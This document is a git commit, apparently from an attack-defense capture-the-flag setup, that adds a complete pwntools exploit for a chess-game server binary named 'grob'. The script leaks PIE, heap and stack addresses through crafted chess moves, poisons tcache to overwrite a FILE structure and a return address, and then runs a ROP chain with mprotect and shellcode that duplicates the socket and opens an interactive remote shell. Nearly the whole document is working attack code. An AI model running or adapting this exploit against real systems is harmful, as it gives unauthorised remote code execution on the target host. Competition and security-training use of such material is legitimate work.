adding validated services? patching forcad_local.py

This commit is contained in:
Your Name
2026-08-13 08:32:35 +07:00
parent d485f61169
commit e795614e45
1459 changed files with 420036 additions and 436 deletions

View File

@@ -0,0 +1,378 @@
from sys import argv
from io import StringIO
from pwn import *
from Crypto.Cipher import ARC4
import chess
import chess.pgn
from threading import Thread
context.log_level = 'warn'
exe = context.binary = ELF('grob')
HOST = argv[1]
PORT = 11331
def u128(n, *args, **kwargs):
return unpack(n, *args, word_size=128, **kwargs)
def p128(n, *args, **kwargs):
return pack(n, *args, word_size=128, **kwargs)
class arc4tube(remote):
MODULO = (1 << 128) - 159
def __init__(self, *a, **kw):
super().__init__(*a, **kw)
priv = u128(random.randbytes(16))
pub = pow(5, priv, self.MODULO)
server_pub = u128(self.recvn(16))
self.send(p128(pub))
cph = ARC4.new(p128(pow(server_pub, priv, self.MODULO)))
self.recv_raw = lambda *a, **kw: cph.encrypt(data) if (data := super(arc4tube, self).recv_raw(*a, **kw)) else b''
self.send_raw = lambda data, *a, **kw: super(arc4tube, self).send_raw(data and cph.encrypt(data), *a, **kw)
def recvn_plain(self, n):
self.recv_raw = super(arc4tube, self).recv_raw
return super().recvn(n)
def send_plain(self, d):
self.recv_raw = super(arc4tube, self).recv_raw
self.send_raw = super(arc4tube, self).send_raw
return super().send(d)
def enter_room(io1, io2):
room_pass = room_code = randoms(16).upper().encode()
io1.send(p8(1) + room_code)
assert io1.recvn(1) == p8(0)
sleep(.1 / 2)
io2.send(p8(1) + room_code)
assert io2.recvn(1) == p8(0)
io1.send(room_pass)
assert io1.recvn(1) == p8(0)
return room_code
def start():
return arc4tube(HOST, PORT)
def pgn_iter(pgn):
pgn = chess.pgn.read_game(StringIO(pgn))
board = chess.Board()
for move in pgn.mainline_moves():
from_sq = move.from_square
to_sq = move.to_square
row_from = 7 - (from_sq // 8)
col_from = from_sq % 8
row_to = 7 - (to_sq // 8)
col_to = to_sq % 8
yield (row_from, col_from, row_to, col_to, 0, 0)
board.push(move)
def guess_byte(offset, byte, set_color):
with start() as io1, start() as io2:
enter_room(io1, io2)
color = u8(io1.recvn(1))
io2.recvn(1)
if not color:
io1, io2 = io2, io1
base = list(pgn_iter('1. a4 h5 2. a5 h4 3. a6 h3 4. axb7 hxg2'))
if set_color:
base += [(1, 1, offset // 8, offset % 8, 1, byte)] # bxa8=
else:
base += [(6, 1, 5, 1, 0, 0)] # b3
base += [(6, 6, offset // 8, offset % 8, 1, byte)] # gxh1=
order = True
for cord in base:
p = flat([0, *cord], word_size=8)
if order:
io1.send(p)
assert u8(io1.recvn(1)) == 0
io2.recvn(7)
else:
io2.send(p)
assert u8(io2.recvn(1)) == 0
io1.recvn(7)
order = not order
def leak_pie():
"""Just a linear PIE address bruteforce (history->vtable)"""
addr = bytearray(p64(0))
addr[0] = exe.sym['_IO_file_jumps'] & 0xff
def brute_byte(i):
context.log_level = 'warn'
rng_args = (exe.sym['_IO_file_jumps'] >> 8 & 0xf, 0x100, 0x10) if i == 1 else (0x100,)
for b in range(*rng_args):
try:
guess_byte(296 + i, b, 1)
except EOFError:
continue
except AssertionError:
try:
guess_byte(296 + i, b, 0)
except EOFError:
continue
addr[i] = b
break
else:
raise Exception('Bad PIE leak')
tds = {}
for i in range(1, 6):
tds[i] = Thread(target=brute_byte, args=(i,))
tds[i].start()
for i in range(1, 6):
tds[i].join()
return u64(addr)
def leak_heap():
"""Just a linear heap address bruteforce (history->_IO_write_ptr)"""
addr = bytearray(p64(0))
def brute_byte(i):
context.log_level = 'warn'
rng_args = (0, 0x100, 0x10) if i == 1 else (0x100,)
for b in range(*rng_args):
try:
guess_byte(120 + i, b, 1)
except EOFError:
continue
except AssertionError:
try:
guess_byte(120 + i, b, 0)
except EOFError:
continue
addr[i] = b
break
else:
raise Exception('Bad heap leak')
tds = {}
for i in range(1, 6):
tds[i] = Thread(target=brute_byte, args=(i,))
tds[i].start()
for i in range(1, 6):
tds[i].join()
return u64(addr)
def leak_stack(heap_base):
"""Leaks stack via history _IO_FILE structure (controllable by arb allocation),
assumes that PIE already leaked. I know it also can be leaked with heap primitives only"""
with start() as io1, start() as io2:
enter_room(io1, io2)
color = u8(io1.recvn(1))
io2.recvn(1)
if not color:
io1, io2 = io2, io1
# Allocate 2 chunks with 2 messages
for _ in range(2):
io2.send(flat([p8(1), p16(0x100), cyclic(0x100)]))
assert u8(io2.recvn(1)) == 0
# Free allocated chunks
io1.send(p8(2))
msg_cnt = u8(io1.recvn(1))
for _ in range(msg_cnt):
msg_len = u16(io1.recvn(2))
io1.recvn(msg_len)
# Some PPC here, writing qword in `tcache_entry->next` with chess moves...
offset = 0x230
old_value = p64((heap_base + 0x1a70) ^ ((heap_base >> 12) + 1))[:-2]
value = p64((heap_base + 0x1760) ^ ((heap_base >> 12) + 1))[:-2]
base = list(pgn_iter('''
1. e4 f5 2. Ke2 Kf7 3. Kf3 Kg6 4. Kg3 Kh6 5. Kh3 a5 6. b4 a4 7. b5 a3 8. b6 Ra7 9. bxa7 b5 10. Bb2 axb2
11. a4 b4 12. a5 b3 13. a6 Bb7 14. axb7 c5 15. Ra2 bxa2 16. d4 c4 17. d5 c3 18. d6 Qc7 19. dxc7 d5 20. Nd2 cxd2
21. c4 d4 22. c5 d3 23. c6 Nd7 24. Qc2 dxc2 25. cxd7 f4 26. e5 f3 27. e6 Nf6 28. Be2 fxe2 29. f4 Ne4 30. f5 Nd6
31. f6 Nf7 32. exf7 e5 33. Nf3 e4 34. Ne5 e3 35. Nd3 Be7 36. Nf2 exf2 37. fxe7
'''))
order = False
pos = ([(6, i) for i in range(6)], [(1, i) for i in range(6)])
for i, b in enumerate(value):
if ((old_value[i] & 0xf0) >> 4) == int(order):
base += [(*pos[int(order)][i], 0, 0, 1, 0x20)]
base += [(*pos[int(not order)][i], offset // 8, offset % 8, 1, b)]
else:
base += [(*pos[int(order)][i], offset // 8, offset % 8, 1, b)]
order = not order
offset += 1
order = True
for cord in base:
p = flat([0, *cord], word_size=8)
if order:
io1.send(p)
assert u8(io1.recvn(1)) == 0
io2.recvn(7)
else:
io2.send(p)
assert u8(io2.recvn(1)) == 0
io1.recvn(7)
order = not order
# Clear top tcache bin chunk
io2.send(flat([p8(1), p16(0x100), cyclic(0x100)]))
io2.recvn(1)
# Allocate on _IO_FILE (we alse may want to leak by 2 bytes at time
# to prevent net filtration by stack addr)
fs = FileStructure()
fs.flags = 0x0002 | 0x0800
fs.fileno = 6 if color else 4
fs._lock = heap_base
fs._IO_read_end = fs._IO_write_base = exe.sym['environ']
fs._IO_write_end = fs._IO_write_ptr = fs._IO_write_base + 0x6
fs.vtable = exe.sym['_IO_file_jumps']
io2.send(flat([p8(1), p16(0x100), {
4: bytes(fs),
0x100: b''
}]))
return u64(io2.recvn_plain(6) + p16(0))
def alloc_on_stack_and_rop(heap_base, retaddr):
"""Same as `leak_stack` but on allocates on stack now"""
with start() as io1, start() as io2:
enter_room(io1, io2)
color = u8(io1.recvn(1))
io2.recvn(1)
if not color:
io1, io2 = io2, io1
# Allocate 2 chunks with 2 messages
for _ in range(2):
io2.send(flat([p8(1), p16(0xa0), cyclic(0xa0)]))
io2.recvn(1)
# Free allocated chunks
io1.send(p8(2))
msg_cnt = u8(io1.recvn(1))
for _ in range(msg_cnt):
msg_len = u16(io1.recvn(2))
io1.recvn(msg_len)
# Some PPC here, writing qword in `tcache_entry->next` with chess moves...
offset = 0x230
old_value = p64((heap_base + 0x1a70) ^ ((heap_base >> 12) + 1))[:-2]
value = p64(retaddr ^ ((heap_base >> 12) + 1))[:-2]
base = list(pgn_iter('''
1. e4 f5 2. Ke2 Kf7 3. Kf3 Kg6 4. Kg3 Kh6 5. Kh3 a5 6. b4 a4 7. b5 a3 8. b6 Ra7 9. bxa7 b5 10. Bb2 axb2
11. a4 b4 12. a5 b3 13. a6 Bb7 14. axb7 c5 15. Ra2 bxa2 16. d4 c4 17. d5 c3 18. d6 Qc7 19. dxc7 d5 20. Nd2 cxd2
21. c4 d4 22. c5 d3 23. c6 Nd7 24. Qc2 dxc2 25. cxd7 f4 26. e5 f3 27. e6 Nf6 28. Be2 fxe2 29. f4 Ne4 30. f5 Nd6
31. f6 Nf7 32. exf7 e5 33. Nf3 e4 34. Ne5 e3 35. Nd3 Be7 36. Nf2 exf2 37. fxe7
'''))
order = False
pos = ([(6, i) for i in range(6)], [(1, i) for i in range(6)])
for i, b in enumerate(value):
if ((old_value[i] & 0xf0) >> 4) == int(order):
base += [(*pos[int(order)][i], 0, 0, 1, 0x20)]
base += [(*pos[int(not order)][i], offset // 8, offset % 8, 1, b)]
else:
base += [(*pos[int(order)][i], offset // 8, offset % 8, 1, b)]
order = not order
offset += 1
order = True
for cord in base:
p = flat([0, *cord], word_size=8)
if order:
io1.send(p)
assert u8(io1.recvn(1)) == 0
io2.recvn(7)
else:
io2.send(p)
assert u8(io2.recvn(1)) == 0
io1.recvn(7)
order = not order
# Clear top tcache bin chunk
io2.send(flat([p8(1), p16(0xa0), cyclic(0xa0)]))
io2.recvn(1)
# ROP
fd = 6 if color else 4
rop = ROP(exe)
rop.call('mprotect', [heap_base, 0x1000, 7])
rop.call('read', [fd, heap_base, 0xa0])
rop.call(heap_base)
io2.send(flat([p8(1), p16(0xa0), {
4 + 8: [
bytes(rop)
],
0xa0: b''
}]))
io2.send_plain(
asm(shellcraft.dup2(fd, 0))
+ asm(shellcraft.dup2(fd, 1))
+ asm(shellcraft.sh())
)
io2.interactive()
def pwn():
def leak_pie_thread():
exe.address = leak_pie() - exe.sym['_IO_file_jumps']
def leak_heap_thread():
global HEAP_BASE
HEAP_BASE = leak_heap()
td1 = Thread(target=leak_pie_thread)
td1.start()
td2 = Thread(target=leak_heap_thread)
td2.start()
td1.join()
td2.join()
# In A/D we really want to cache leaks
global HEAP_BASE
try:
STACK_ADDR = leak_stack(HEAP_BASE)
except EOFError:
HEAP_BASE -= 0x1000 # handle case of 0xf000 heap layout (cuz _IO_FILE at more than page size offset)
STACK_ADDR = leak_stack(HEAP_BASE)
retaddr = STACK_ADDR - 0x4e0 - 0x18
alloc_on_stack_and_rop(HEAP_BASE, retaddr)
if __name__ == '__main__':
pwn()

Binary file not shown.